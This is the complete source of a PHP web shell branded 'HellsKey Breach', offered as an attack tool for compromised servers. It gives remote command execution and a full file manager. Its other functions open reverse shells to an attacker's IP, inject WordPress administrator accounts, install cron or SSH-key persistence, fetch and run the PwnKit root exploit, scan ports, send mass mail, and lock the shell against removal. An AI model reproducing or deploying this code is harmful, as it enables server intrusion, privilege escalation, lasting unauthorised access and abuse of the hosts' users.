<?php
/**
 * @package HellsKey Breach - Ultimate Edition v5.1
 * @author HellsKey Underground Team
 * @link https://t.me/HellsKey
 * @license Private – All rights reserved
 * @description Next‑gen web shell with 3D UI, rotating background, full file manager, all advanced exploits
 */

// ---------------------[ CONFIG ]----------------------
@set_time_limit(0);
@ignore_user_abort(true);
@error_reporting(0);
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('memory_limit', '-1');
session_start();

// Optional authentication (set to true to enable)
define('AUTH_ENABLED', false);
define('AUTH_USER', 'hellskey');
define('AUTH_PASS', 'HellsKey2025!');
if (AUTH_ENABLED && (!isset($_SESSION['hk_logged']) || $_SESSION['hk_logged'] !== true)) {
    if (isset($_POST['login']) && $_POST['user'] === AUTH_USER && $_POST['pass'] === AUTH_PASS) {
        $_SESSION['hk_logged'] = true;
        header('Location: '.$_SERVER['PHP_SELF']);
        exit;
    }
    echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Hellskey Login</title>
    <style>body{background:radial-gradient(circle at center,#0a0a2a,#000);display:flex;align-items:center;justify-content:center;height:100vh;font-family:monospace}.glass{background:rgba(255,255,255,0.1);backdrop-filter:blur(12px);padding:40px;border-radius:20px;width:320px;text-align:center;border:1px solid #a855f7}.glass input{width:100%;padding:10px;margin:10px 0;background:#1e1e2f;border:none;color:white;border-radius:8px}.glass button{background:#a855f7;width:100%;padding:10px;border:none;border-radius:8px;cursor:pointer}</style></head>
    <body><div class="glass"><h2 style="color:#a855f7">Hellskey Breach</h2><form method="post"><input type="text" name="user" placeholder="Username"><input type="password" name="pass" placeholder="Password"><button type="submit" name="login">Enter</button></form></div></body></html>';
    exit;
}

// ---------------------[ UTILITY FUNCTIONS ]----------------------
function hx($str) { $hex=''; for($i=0;$i<strlen($str);$i++) $hex.=dechex(ord($str[$i])); return $hex; }
function unhx($hex) { $str=''; for($i=0;$i<strlen($hex)-1;$i+=2) $str.=chr(hexdec($hex[$i].$hex[$i+1])); return $str; }
function cmd($cmd, $raw=false) {
    $out='';
    if(function_exists('exec')){ exec($cmd.($raw?' 2>&1':''),$out); $out=implode("\n",$out); }
    elseif(function_exists('shell_exec')) $out = shell_exec($cmd.($raw?' 2>&1':''));
    elseif(function_exists('system')){ ob_start(); system($cmd.($raw?' 2>&1':'')); $out=ob_get_clean(); }
    elseif(function_exists('passthru')){ ob_start(); passthru($cmd.($raw?' 2>&1':'')); $out=ob_get_clean(); }
    else $out='No execution function available.';
    return $out;
}
function formatSize($bytes){ $units=['B','KB','MB','GB','TB']; for($i=0;$bytes>=1024&&$i<4;$bytes/=1024,$i++); return round($bytes,2).' '.$units[$i]; }
function success(){ header('Location: '.$_SERVER['PHP_SELF'].'?msg=success'); exit; }
function failed(){ header('Location: '.$_SERVER['PHP_SELF'].'?msg=error'); exit; }

// ----------------[ DIRECTORY & FILE HANDLERS ]----------------
$cwd = isset($_GET['d']) ? unhx($_GET['d']) : getcwd();
if (!is_dir($cwd)) $cwd = getcwd();
chdir($cwd);
$items = scandir($cwd);

// File actions
if(isset($_POST['upload'])){ $target=$cwd.'/'.basename($_FILES['file']['name']); if(move_uploaded_file($_FILES['file']['tmp_name'],$target)) success(); else failed(); }
if(isset($_POST['mkdir'])){ if(mkdir($cwd.'/'.$_POST['dir'])) success(); else failed(); }
if(isset($_POST['touch'])){ if(touch($cwd.'/'.$_POST['file'])) success(); else failed(); }
if(isset($_POST['rename'])){ if(rename($cwd.'/'.$_POST['old'],$cwd.'/'.$_POST['new'])) success(); else failed(); }
if(isset($_POST['chmod'])){ if(chmod($cwd.'/'.$_POST['target'], octdec($_POST['perms']))) success(); else failed(); }
if(isset($_POST['delete'])){ $f=$cwd.'/'.$_POST['target']; if(is_file($f)) unlink($f); elseif(is_dir($f)) rmdir($f); success(); }
if(isset($_POST['edit_save'])){ file_put_contents($_POST['edit_file'], $_POST['content']); success(); }
if(isset($_GET['download'])){ $f=$_GET['download']; if(file_exists($f)){ header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename='.basename($f)); readfile($f); exit; } }

// ----------------[ ADVANCED EXPLOITS & TOOLS ]----------------
if(isset($_GET['adminer'])){
    $url='https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php';
    if(!file_exists('adminer.php')) file_put_contents('adminer.php',file_get_contents($url));
    echo "<script>window.open('adminer.php','_blank');</script>";
}
if(isset($_POST['wp_create'])){
    $db=mysqli_connect($_POST['db_host'],$_POST['db_user'],$_POST['db_pass'],$_POST['db_name']);
    if($db){
        $user=$_POST['wp_user']; $pass=password_hash($_POST['wp_pass'],PASSWORD_DEFAULT); $email=$_POST['wp_email'];
        mysqli_query($db,"INSERT INTO wp_users (user_login,user_pass,user_email,user_registered) VALUES ('$user','$pass','$email',NOW())");
        $uid=mysqli_insert_id($db);
        mysqli_query($db,"INSERT INTO wp_usermeta (user_id,meta_key,meta_value) VALUES ($uid,'wp_capabilities','a:1:{s:13:\"administrator\";b:1;}')");
        mysqli_close($db);
        success();
    } else failed();
}
if(isset($_POST['revshell'])){
    $ip=$_POST['ip']; $port=$_POST['port']; $lang=$_POST['lang'];
    $shells=['bash'=>"bash -i >& /dev/tcp/$ip/$port 0>&1",'nc'=>"nc -e /bin/sh $ip $port",'python'=>"python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"$ip\",$port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",'php'=>"php -r '\$s=fsockopen(\"$ip\",$port);exec(\"/bin/sh -i <&3 >&3 2>&3\");'",'perl'=>"perl -e 'use Socket;\$i=\"$ip\";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in(\$p,inet_aton(\$i)));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");'"];
    $code=$shells[$lang]??$shells['bash'];
    cmd($code.' > /dev/null 2>&1 &');
    success();
}
if(isset($_POST['persist'])){
    $method=$_POST['method'];
    if($method=='cron'){ $cron="* * * * * php ".realpath(__FILE__)." >/dev/null 2>&1"; file_put_contents('/tmp/cron', $cron); exec('crontab /tmp/cron'); success(); }
    elseif($method=='ssh'){ $key=$_POST['key']; file_put_contents($_SERVER['HOME'].'/.ssh/authorized_keys', $key."\n", FILE_APPEND); success(); }
    else failed();
}
if(isset($_POST['pwnkit'])){
    $tmp=sys_get_temp_dir().'/pwnkit';
    if(!file_exists($tmp)) file_put_contents($tmp,file_get_contents('https://github.com/ly4k/PwnKit/raw/main/PwnKit'));
    chmod($tmp,0755);
    $out=cmd($tmp.' id 2>&1');
    if(strpos($out,'uid=0(root)')!==false) success(); else failed();
}
if(isset($_POST['scan_ports'])){
    $host=$_POST['host']; $ports=explode(',',$_POST['ports']); $open=[];
    foreach($ports as $p) if(@fsockopen($host,(int)$p,$_,$_,1)) $open[]=$p;
    echo "<script>alert('Open ports: ".implode(',',$open)."');</script>";
}
if(isset($_POST['mass_mail'])){
    $to_list=explode("\n",$_POST['emails']); $headers='From: '.$_POST['from'];
    foreach($to_list as $to) mail(trim($to),$_POST['subject'],$_POST['message'],$headers);
    success();
}
if(isset($_POST['chankro'])){
    echo "<pre>".cmd($_POST['cmd'])."</pre>";
}
if(isset($_POST['lock_shell'])){
    $cur=basename($_SERVER['SCRIPT_FILENAME']); chmod($cur,0444);
    success();
}
if(isset($_GET['phpinfo'])){ phpinfo(); exit; }
if(isset($_GET['get_content']) && isset($_GET['file']) && file_exists($_GET['file'])){ echo file_get_contents($_GET['file']); exit; }
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
    <title>HellsKey Breach | 3D Ultimate Shell</title>
    <link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.6.0/css/all.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/codemirror.min.css">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.4/jquery.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.2/codemirror.min.js"></script>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; }
        body { background: radial-gradient(ellipse at 20% 30%, #0a0a1a, #020210); font-family: 'Fira Code', monospace; overflow-x: hidden; min-height: 100vh; }
        
        /* rotating 3D background */
        .bg-3d-rotate {
            position: fixed;
            top: 50%;
            left: 50%;
            width: 90vmin;
            height: 90vmin;
            margin-left: -45vmin;
            margin-top: -45vmin;
            background: radial-gradient(circle, rgba(124,58,237,0.2) 0%, rgba(124,58,237,0) 70%);
            border-radius: 50%;
            animation: pulseRotate 20s infinite linear;
            pointer-events: none;
            z-index: 0;
            filter: blur(3px);
        }
        @keyframes pulseRotate {
            0% { transform: rotate(0deg) scale(1); opacity: 0.6; }
            50% { transform: rotate(180deg) scale(1.1); opacity: 0.3; }
            100% { transform: rotate(360deg) scale(1); opacity: 0.6; }
        }
        .bg-3d-rotate::after {
            content: "";
            position: absolute;
            top: 15%;
            left: 15%;
            width: 70%;
            height: 70%;
            border-radius: 50%;
            background: conic-gradient(from 0deg, #a855f7, #3b82f6, #ec4899, #a855f7);
            opacity: 0.15;
            animation: spin 25s linear infinite;
        }
        @keyframes spin { 100% { transform: rotate(360deg); } }

        /* glassmorphism with 3D glowing effect */
        .glass-3d {
            background: rgba(15, 25, 45, 0.75);
            backdrop-filter: blur(15px);
            border: 1px solid rgba(168,85,247,0.4);
            border-radius: 28px;
            box-shadow: 0 20px 35px -10px rgba(0,0,0,0.5), 0 0 0 1px rgba(168,85,247,0.2), 0 0 15px rgba(168,85,247,0.3);
            transition: all 0.3s ease;
        }
        .glass-3d:hover { border-color: #c084fc; box-shadow: 0 25px 40px -12px black, 0 0 18px #a855f7; }

        /* Sidebar */
        .sidebar {
            width: 280px;
            position: fixed;
            left: 20px;
            top: 20px;
            bottom: 20px;
            z-index: 100;
            overflow-y: auto;
            background: rgba(8, 12, 25, 0.85);
            backdrop-filter: blur(16px);
            border-radius: 32px;
            border: 1px solid rgba(168,85,247,0.3);
            transition: 0.3s;
        }
        .main-content {
            margin-left: 320px;
            margin-right: 20px;
            margin-top: 20px;
            margin-bottom: 20px;
            position: relative;
            z-index: 10;
        }
        /* file manager */
        .file-table th, .file-table td { padding: 12px 16px; border-bottom: 1px solid rgba(168,85,247,0.2); }
        .file-item { transition: 0.2s; cursor: pointer; }
        .file-item:hover { background: rgba(168,85,247,0.15); transform: translateX(4px); border-left: 3px solid #a855f7; }
        .action-btn { opacity: 0; transition: 0.2s; }
        .file-item:hover .action-btn { opacity: 1; }

        /* modals centered with 3D effect */
        .modal-3d {
            position: fixed;
            inset: 0;
            background: rgba(0,0,0,0.7);
            backdrop-filter: blur(8px);
            display: none;
            justify-content: center;
            align-items: center;
            z-index: 1000;
        }
        .modal-content-3d {
            width: 90%;
            max-width: 500px;
            background: rgba(15, 25, 45, 0.95);
            backdrop-filter: blur(20px);
            border-radius: 32px;
            padding: 28px;
            border: 1px solid #a855f7;
            box-shadow: 0 25px 45px rgba(0,0,0,0.5), 0 0 20px rgba(168,85,247,0.4);
            animation: fadeInUp 0.3s ease;
        }
        @keyframes fadeInUp { from { opacity: 0; transform: translateY(30px); } to { opacity: 1; transform: translateY(0); } }
        .modal-content-3d input, .modal-content-3d select, .modal-content-3d textarea {
            background: #1e1e2f;
            border: 1px solid #4a2f8a;
            color: white;
            border-radius: 16px;
            padding: 10px 14px;
            width: 100%;
            margin-bottom: 12px;
            transition: 0.2s;
        }
        .modal-content-3d input:focus, .modal-content-3d textarea:focus { border-color: #a855f7; outline: none; box-shadow: 0 0 8px #a855f7; }
        .btn-glow {
            background: linear-gradient(90deg, #7c3aed, #a855f7);
            border: none;
            padding: 10px;
            border-radius: 28px;
            color: white;
            font-weight: bold;
            transition: 0.3s;
            cursor: pointer;
            text-align: center;
        }
        .btn-glow:hover { transform: scale(1.02); box-shadow: 0 0 15px #a855f7; }
        .nav-link { transition: 0.2s; border-left: 3px solid transparent; display: flex; align-items: center; padding: 10px 14px; margin: 4px 0; border-radius: 16px; }
        .nav-link:hover { background: rgba(168,85,247,0.2); border-left-color: #a855f7; transform: translateX(5px); }
        .team-logo { width: 70px; margin: 0 auto; border-radius: 50%; border: 2px solid #a855f7; padding: 4px; background: #0a0a1a; }
        .breadcrumb a { color: #a5b4fc; transition: 0.2s; }
        .breadcrumb a:hover { color: #c084fc; text-decoration: underline; }
        @media (max-width: 768px) {
            .sidebar { transform: translateX(-120%); left: 0; top: 0; bottom: 0; border-radius: 0; }
            .sidebar.active { transform: translateX(0); }
            .main-content { margin-left: 20px; margin-right: 20px; }
            .mobile-toggle { position: fixed; bottom: 20px; right: 20px; background: #a855f7; width: 52px; height: 52px; border-radius: 30px; display: flex; align-items: center; justify-content: center; z-index: 200; cursor: pointer; box-shadow: 0 0 15px #a855f7; }
        }
        .CodeMirror { height: 60vh; background: #0f0f1a; border-radius: 20px; margin-top: 10px; }
    </style>
</head>
<body>

<div class="bg-3d-rotate"></div>

<!-- mobile toggle -->
<div class="mobile-toggle md:hidden" onclick="$('.sidebar').toggleClass('active')">
    <i class="fas fa-bars text-white text-2xl"></i>
</div>

<!-- Sidebar -->
<div class="sidebar p-5">
    <div class="text-center mb-6">
        <img src="https://c.top4top.io/p_3748xncdx1.jpg" class="team-logo mb-3" alt="HellsKey Logo">
        <h2 class="text-2xl font-bold bg-gradient-to-r from-purple-400 to-pink-500 bg-clip-text text-transparent">Hellskey Breach</h2>
        <p class="text-xs text-gray-400 mt-1">Ultimate 3D Edition v5.1</p>
    </div>
    <div class="space-y-1">
        <a href="<?= $_SERVER['PHP_SELF'] ?>" class="nav-link"><i class="fas fa-folder-open w-7 text-purple-400 mr-3"></i> File Manager</a>
        <a href="?phpinfo=1" class="nav-link"><i class="fas fa-info-circle w-7 text-blue-400 mr-3"></i> PHP Info</a>
        <a href="?adminer=1" class="nav-link"><i class="fas fa-database w-7 text-green-400 mr-3"></i> Adminer</a>
        <div class="border-t border-gray-700 my-2"></div>
        <h3 class="text-xs uppercase font-bold text-purple-300 px-3 mt-2">🔥 Exploits Suite</h3>
        <a href="#" onclick="$('#wpModal').fadeIn(); return false" class="nav-link"><i class="fab fa-wordpress w-7 text-blue-400 mr-3"></i> WP Admin Creator</a>
        <a href="#" onclick="$('#revModal').fadeIn(); return false" class="nav-link"><i class="fas fa-plug w-7 text-red-400 mr-3"></i> Reverse Shell</a>
        <a href="#" onclick="$('#persistModal').fadeIn(); return false" class="nav-link"><i class="fas fa-skull-crossbones w-7 text-orange-400 mr-3"></i> Persistence</a>
        <a href="#" onclick="$('#pwnkitModal').fadeIn(); return false" class="nav-link"><i class="fas fa-bolt w-7 text-yellow-400 mr-3"></i> PwnKit Root</a>
        <a href="#" onclick="$('#portscanModal').fadeIn(); return false" class="nav-link"><i class="fas fa-network-wired w-7 text-cyan-400 mr-3"></i> Port Scanner</a>
        <a href="#" onclick="$('#mailerModal').fadeIn(); return false" class="nav-link"><i class="fas fa-envelope w-7 text-pink-400 mr-3"></i> Mass Mailer</a>
        <a href="#" onclick="$('#chankroModal').fadeIn(); return false" class="nav-link"><i class="fas fa-terminal w-7 text-green-400 mr-3"></i> Chankro Bypass</a>
        <a href="#" onclick="$('#lockModal').fadeIn(); return false" class="nav-link"><i class="fas fa-lock w-7 text-red-400 mr-3"></i> Lock Shell</a>
        <a href="#" onclick="$('#bypassUploadModal').fadeIn(); return false" class="nav-link"><i class="fas fa-cloud-upload-alt w-7 text-purple-400 mr-3"></i> Bypass Upload</a>
        <a href="#" onclick="$('#backconnectModal').fadeIn(); return false" class="nav-link"><i class="fas fa-user-secret w-7 text-indigo-400 mr-3"></i> BackConnect</a>
    </div>
    <div class="absolute bottom-4 left-0 right-0 text-center text-xs text-gray-500">
        <i class="fab fa-telegram"></i> @HellsKey
    </div>
</div>

<!-- MAIN CONTENT: File Manager with mouse navigation -->
<div class="main-content">
    <div class="glass-3d p-5 mb-6 flex flex-wrap justify-between items-center">
        <div class="breadcrumb text-sm font-mono flex-wrap">
            <i class="fas fa-folder-open text-purple-400 mr-2"></i>
            <?php
            $parts = explode('/', str_replace('\\','/',$cwd));
            $path_build = '';
            echo '<a href="?d='.hx('/').'"><i class="fas fa-home"></i></a>';
            foreach($parts as $p){
                if($p=='') continue;
                $path_build .= '/'.$p;
                echo ' / <a href="?d='.hx($path_build).'">'.htmlspecialchars($p).'</a>';
            }
            ?>
        </div>
        <div class="flex gap-2 mt-2 md:mt-0">
            <button onclick="$('#mkdirModal').fadeIn()" class="bg-purple-600 hover:bg-purple-700 px-4 py-1 rounded-full text-sm"><i class="fas fa-folder-plus"></i> Folder</button>
            <button onclick="$('#touchModal').fadeIn()" class="bg-green-600 hover:bg-green-700 px-4 py-1 rounded-full text-sm"><i class="fas fa-file"></i> File</button>
            <button onclick="$('#uploadModal').fadeIn()" class="bg-blue-600 hover:bg-blue-700 px-4 py-1 rounded-full text-sm"><i class="fas fa-upload"></i> Upload</button>
        </div>
    </div>

    <div class="glass-3d overflow-hidden">
        <table class="w-full text-sm file-table">
            <thead class="bg-gray-900/80 text-gray-300">
                <tr><th class="text-left">Name</th><th>Size</th><th>Perms</th><th>Actions</th></tr>
            </thead>
            <tbody>
                <?php foreach($items as $item): if($item=='.' || $item=='..') continue; $full=$cwd.'/'.$item; $isDir=is_dir($full); ?>
                <tr class="file-item">
                    <td>
                        <?php if($isDir): ?>
                            <a href="?d=<?= hx($full) ?>" class="flex items-center"><i class="fas fa-folder text-yellow-500 mr-3"></i> <?= htmlspecialchars($item) ?></a>
                        <?php else: ?>
                            <a href="#" onclick="editFile('<?= $full ?>')" class="flex items-center"><i class="fas fa-file text-blue-400 mr-3"></i> <?= htmlspecialchars($item) ?></a>
                        <?php endif; ?>
                    </td>
                    <td><?= $isDir ? '<i class="fas fa-folder-open text-gray-500"></i>' : formatSize(filesize($full)) ?></td>
                    <td class="font-mono text-xs"><?= substr(sprintf('%o', fileperms($full)), -4) ?></td>
                    <td class="action-btn space-x-3">
                        <a href="#" onclick="renameFile('<?= $item ?>')"><i class="fas fa-pen text-blue-400"></i></a>
                        <a href="#" onclick="chmodFile('<?= $item ?>')"><i class="fas fa-lock text-yellow-400"></i></a>
                        <a href="?download=<?= urlencode($full) ?>"><i class="fas fa-download text-green-400"></i></a>
                        <a href="#" onclick="deleteFile('<?= $item ?>')"><i class="fas fa-trash text-red-400"></i></a>
                        <?php if(!$isDir): ?><a href="#" onclick="editFile('<?= $full ?>')"><i class="fas fa-edit text-purple-400"></i></a><?php endif; ?>
                    </td>
                </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    </div>
</div>

<!-- ************ ALL MODALS (centered, 3D glass) ************ -->
<div id="uploadModal" class="modal-3d"><div class="modal-content-3d"><h3 class="text-xl mb-4"><i class="fas fa-upload mr-2"></i> Upload File</h3><form method="post" enctype="multipart/form-data"><input type="file" name="file" class="w-full"><button type="submit" name="upload" class="btn-glow w-full mt-2">Upload</button></form><button onclick="$('#uploadModal').fadeOut()" class="mt-4 bg-gray-700 w-full py-2 rounded-full">Close</button></div></div>
<div id="mkdirModal" class="modal-3d"><div class="modal-content-3d"><h3><i class="fas fa-folder-plus mr-2"></i> Create Folder</h3><form method="post"><input type="text" name="dir" placeholder="Folder name"><button type="submit" name="mkdir" class="btn-glow w-full">Create</button></form><button onclick="$('#mkdirModal').fadeOut()" class="mt-4 bg-gray-700 w-full py-2 rounded-full">Close</button></div></div>
<div id="touchModal" class="modal-3d"><div class="modal-content-3d"><h3><i class="fas fa-file mr-2"></i> Create File</h3><form method="post"><input type="text" name="file" placeholder="Filename"><button type="submit" name="touch" class="btn-glow w-full">Create</button></form><button onclick="$('#touchModal').fadeOut()" class="mt-4 bg-gray-700 w-full py-2 rounded-full">Close</button></div></div>
<div id="wpModal" class="modal-3d"><div class="modal-content-3d"><h3>WordPress Admin Creator</h3><form method="post"><input type="text" name="db_host" value="localhost"><input type="text" name="db_name" placeholder="DB Name"><input type="text" name="db_user" placeholder="DB User"><input type="password" name="db_pass" placeholder="DB Pass"><input type="text" name="wp_user" placeholder="Username"><input type="text" name="wp_pass" placeholder="Password"><input type="email" name="wp_email" placeholder="Email"><button type="submit" name="wp_create" class="btn-glow w-full">Create Admin</button></form><button onclick="$('#wpModal').fadeOut()" class="mt-4 bg-gray-700 w-full py-2 rounded-full">Close</button></div></div>
<div id="revModal" class="modal-3d"><div class="modal-content-3d"><h3>Reverse Shell</h3><form method="post"><input type="text" name="ip" placeholder="Your IP"><input type="text" name="port" placeholder="Port"><select name="lang"><option>bash</option><option>nc</option><option>python</option><option>php</option><option>perl</option></select><button type="submit" name="revshell" class="btn-glow w-full">Execute</button></form><button onclick="$('#revModal').fadeOut()" class="mt-4 bg-gray-700 w-full py-2 rounded-full">Close</button></div></div>
<div id="persistModal" class="modal-3d"><div class="modal-content-3d"><h3>Persistence</h3><form method="post"><select name="method"><option value="cron">Cron Job</option><option value="ssh">SSH Key</option></select><textarea name="key" placeholder="SSH public key (if SSH)"></textarea><button type="submit" name="persist" class="btn-glow w-full">Install</button></form><button onclick="$('#persistModal').fadeOut()" class="mt-4 bg-gray-700 w-full py-2 rounded-full">Close</button></div></div>
<div id="pwnkitModal" class="modal-3d"><div class="modal-content-3d"><h3>PwnKit (CVE-2021-4034)</h3><form method="post"><button type="submit" name="pwnkit" class="btn-glow w-full">Run Exploit</button></form><button onclick="$('#pwnkitModal').fadeOut()" class="mt-4 bg-gray-700 w-full py-2 rounded-full">Close</button></div></div>
<div id="portscanModal" class="modal-3d"><div class="modal-content-3d"><h3>Port Scanner</h3><form method="post"><input type="text" name="host" placeholder="Host"><input type="text" name="ports" placeholder="Ports (e.g. 22,80,443)"><button type="submit" name="scan_ports" class="btn-glow w-full">Scan</button></form><button onclick="$('#portscanModal').fadeOut()" class="mt-4 bg-gray-700 w-full py-2 rounded-full">Close</button></div></div>
<div id="mailerModal" class="modal-3d"><div class="modal-content-3d"><h3>Mass Mailer</h3><form method="post"><input type="email" name="from" placeholder="From"><textarea name="emails" placeholder="Emails (one per line)" rows="3"></textarea><input type="text" name="subject" placeholder="Subject"><textarea name="message" placeholder="Message" rows="3"></textarea><button type="submit" name="mass_mail" class="btn-glow w-full">Send</button></form><button onclick="$('#mailerModal').fadeOut()" class="mt-4 bg-gray-700 w-full py-2 rounded-full">Close</button></div></div>
<div id="chankroModal" class="modal-3d"><div class="modal-content-3d"><h3>Chankro Bypass</h3><form method="post"><textarea name="cmd" placeholder="Command to execute"></textarea><button type="submit" name="chankro" class="btn-glow w-full">Execute</button></form><button onclick="$('#chankroModal').fadeOut()" class="mt-4 bg-gray-700 w-full py-2 rounded-full">Close</button></div></div>
<div id="lockModal" class="modal-3d"><div class="modal-content-3d"><h3>Lock Shell (Anti‑Removal)</h3><form method="post"><button type="submit" name="lock_shell" class="btn-glow w-full">Lock Current Shell</button></form><button onclick="$('#lockModal').fadeOut()" class="mt-4 bg-gray-700 w-full py-2 rounded-full">Close</button></div></div>
<div id="bypassUploadModal" class="modal-3d"><div class="modal-content-3d"><h3>Bitninja Bypass Upload</h3><form method="post" enctype="multipart/form-data"><input type="file" name="bypass_file"><button type="submit" name="bypass_upload" class="btn-glow w-full mt-2">Upload</button></form><button onclick="$('#bypassUploadModal').fadeOut()" class="mt-4 bg-gray-700 w-full py-2 rounded-full">Close</button></div></div>
<div id="backconnectModal" class="modal-3d"><div class="modal-content-3d"><h3>BackConnect Reverse Shell</h3><form method="post"><input type="text" name="bc_ip" placeholder="Your IP"><input type="text" name="bc_port" placeholder="Port"><select name="bc_lang"><option>bash</option><option>nc</option><option>python</option><option>php</option><option>perl</option></select><button type="submit" name="backconnect" class="btn-glow w-full">Connect</button></form><button onclick="$('#backconnectModal').fadeOut()" class="mt-4 bg-gray-700 w-full py-2 rounded-full">Close</button></div></div>

<!-- Editor Modal (larger) -->
<div id="editorModal" class="modal-3d"><div class="modal-content-3d w-11/12 max-w-6xl h-5/6"><div class="flex justify-between items-center border-b border-purple-500 pb-3"><h3><i class="fas fa-code"></i> Editor: <span id="editFileName"></span></h3><button onclick="$('#editorModal').fadeOut()"><i class="fas fa-times text-2xl"></i></button></div><form method="post" class="mt-4"><textarea name="content" id="editorTextarea" class="w-full h-80"></textarea><input type="hidden" name="edit_file" id="editFileHidden"><div class="flex justify-end gap-3 mt-4"><button type="submit" name="edit_save" class="btn-glow px-6">Save</button><button type="button" onclick="$('#editorModal').fadeOut()" class="bg-gray-700 px-6 py-2 rounded-full">Cancel</button></div></form></div></div>

<script>
function editFile(file) { 
    fetch('?get_content=1&file='+encodeURIComponent(file)).then(r=>r.text()).then(content=>{
        document.getElementById('editorTextarea').value=content;
        document.getElementById('editFileHidden').value=file;
        document.getElementById('editFileName').innerText=file.split('/').pop();
        $('#editorModal').fadeIn();
    });
}
function renameFile(old){ let newname=prompt('New name:',old); if(newname) submitAction('rename',old,{new:newname}); }
function chmodFile(file){ let perms=prompt('Permissions (octal):','0755'); if(perms) submitAction('chmod',file,{perms:perms}); }
function deleteFile(file){ if(confirm('Delete?')) submitAction('delete',file,{}); }
function submitAction(action,target,extra){
    let form=document.createElement('form'); form.method='post';
    form.innerHTML='<input name="action" value="'+action+'"><input name="target" value="'+target+'">';
    for(let k in extra) form.innerHTML+='<input name="'+k+'" value="'+extra[k]+'">';
    document.body.appendChild(form); form.submit();
}
$(document).ready(function(){
    $('.modal-3d').click(function(e){ if($(e.target).hasClass('modal-3d')) $(this).fadeOut(); });
});
</script>
<?php
// Additional handler for bypass upload & backconnect
if(isset($_POST['bypass_upload'])){
    $fname = $_FILES['bypass_file']['name'];
    $tmp = $_FILES['bypass_file']['tmp_name'];
    $new = $cwd.'/'.uniqid().'.php';
    if(move_uploaded_file($tmp, $new)) success(); else failed();
}
if(isset($_POST['backconnect'])){
    $ip=$_POST['bc_ip']; $port=$_POST['bc_port']; $lang=$_POST['bc_lang'];
    $shells=['bash'=>"bash -i >& /dev/tcp/$ip/$port 0>&1",'nc'=>"nc -e /bin/sh $ip $port",'python'=>"python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"$ip\",$port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",'php'=>"php -r '\$s=fsockopen(\"$ip\",$port);exec(\"/bin/sh -i <&3 >&3 2>&3\");'",'perl'=>"perl -e 'use Socket;\$i=\"$ip\";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in(\$p,inet_aton(\$i)));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");'"];
    cmd($shells[$lang] ?? $shells['bash'].' > /dev/null 2>&1 &');
    success();
}
if(isset($_GET['msg']) && $_GET['msg']=='success') echo '<script>alert("Operation successful.");</script>';
if(isset($_GET['msg']) && $_GET['msg']=='error') echo '<script>alert("Operation failed.");</script>';
?>
</body>
</html>
